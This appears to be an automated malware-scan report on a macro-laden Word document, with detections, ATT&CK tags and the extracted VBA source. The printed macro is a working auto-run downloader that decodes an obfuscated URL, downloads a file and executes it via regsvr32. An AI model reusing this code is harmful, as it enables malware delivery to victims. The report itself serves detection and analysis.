MALICIOUS
150
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1105 Ingress Tool Transfer
The sample is a malicious OOXML document containing VBA macros. The AutoOpen macro is designed to download a file named 'x6.pdf' using URLDownloadToFile and then execute it using WshShell. This indicates a downloader or droppper functionality.
Heuristics 5
-
ClamAV: Doc.Downloader.GreenBox5-9139204-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.GreenBox5-9139204-0
-
VBA project inside OOXML medium 2 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
#If VBA7 And Win64 Then Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal AB As LongPtr, ByVal oD As String, ByVal jJ As String, ByVal Zn As LongPtr, ByVal w2 As LongPtr) As Long #Else -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Function Sub autoopen() iz = fI(n) -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
- http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
- http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
- http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
- http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
- http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
- http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
- http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
- http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 3803 bytes |
SHA-256: 3b6793cddcc82f20eb38ef85e4cc6379a864cf9cccb263f4a85d55f46f570197 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "uW"
Public Const wx As String = "x6.pdf"
Function fI(vR)
Nk = d(vR)
For KE = 0 To UBound(Nk)
P7 = P7 & Chr(Nk(KE) Xor 111)
Next KE
fI = P7
End Function
Sub autoopen()
iz = fI(n)
' Rear-guard remiss
' Business congo forearm iodine
' Jostle parliament funnel
frm.download iz, wx
' Reciprocity wealth golden
' Grill
' Quaver bloodshot
' Nw associations taffrail contrast entangle
' Memorandum deviate jovial tibetan
' Tumble imputation
' Esoteric stealth when
' Sponsored bike losers
' Paraffin trickle changelog
' Cloudy devolve bradford fuck
' Exceed offered hauteur avaricious
' Eighty-five tramadol
' Realist ginger subsidiary gently header
' Tournament
' Jeer unattractive non- hawaiian
Dim EI As New WshShell
' Vaulting melissa divided agrarian incidental virtually
' Tub switches gist mongol website adjunct
Call EI.run(Q & fY & " " + wx)
' Inert
' Greenland ne mangy collie enlargement
' Hometown
' Repentant webpage incarceration
' Schemes drug
End Sub
Attribute VB_Name = "uW1"
Function y(us)
' Consistency catalog recruiting
' Beech authors proposed encompass fated
' Elongated tracking developers disposal yamaha
' Budapest
End Function
Sub dA(XV)
' Dote lime
' Under persistence
' Popish mls iridescent advert ob souls
' Ablest incarnate
' Hs ta migratory
' Rumble whiten
' Citation twenty-third dem toronto
' Chen completing athlete
' Imperceptible anglo-indian unbalanced block
' Mortgages
' Prevention fertilized flashing
' Slave harvest
' Transmutation
' Alabama concentrate
' Concrete viewers rod chapman direct
' Infest cisco
' Sexual
' Bunk curtis
' Treasures baptist tribal christ
' Magnanimously decade exportation
' Ends snaps brands solely proposal
' Cms uncivilized revolutionary borax hopped
' Crib rhinoceros resulting
' Magically requested tactics commissioners
' Feasibility
' Bottles reprints
' Addicted tracked hyena toothed shipment
' Urn
' Teddy sierra
' Wa innings dry opera vans
' Edifying tens
' Note tops
' Savage mere
' Seraphic skating fob sectors tar
' Derek ballet officials updated involvement feat
' Generic tolerance
' Segment cold-blooded boeotia
' Secede coercion alex lurid
' Engagement manoeuvre venomous stephen mantua meaningful
' Star valuables watershed
End Sub
Attribute VB_Name = "TS"
Public Const Q As String = "reg"
Public Const fY As String = "svr32"
Public Const n As String = "7_27_27_31_85_64_64_9_8_87_7_91_86_94_92_2_65_12_0_2_64_23_10_2_12_3_64_6_13_14_65_31_7_31_80_3_82_4_9_14_94_94_65_12_14_13"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal AB As LongPtr, ByVal oD As String, ByVal jJ As String, ByVal Zn As LongPtr, ByVal w2 As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal AB As Long, ByVal oD As String, ByVal jJ As String, ByVal Zn As Long, ByVal w2 As Long) As Long
#End If
Function d(qF)
d = Split(qF, "_")
End Function
Attribute VB_Name = "frm"
Attribute VB_Base = "0{D9D4AC02-C7A9-4E10-B805-7DFD5EDFA5EB}{29786452-FCCD-43B3-A3C1-08DA3DF831F5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Public Sub download(url, file)
URLDownloadToFile 0, url, file, 0, 0
End Sub
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 28160 bytes |
SHA-256: cfa34a57e89047a2e447f4182db24050e3b3a6b5466b44ceef504b5fc3c17131 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.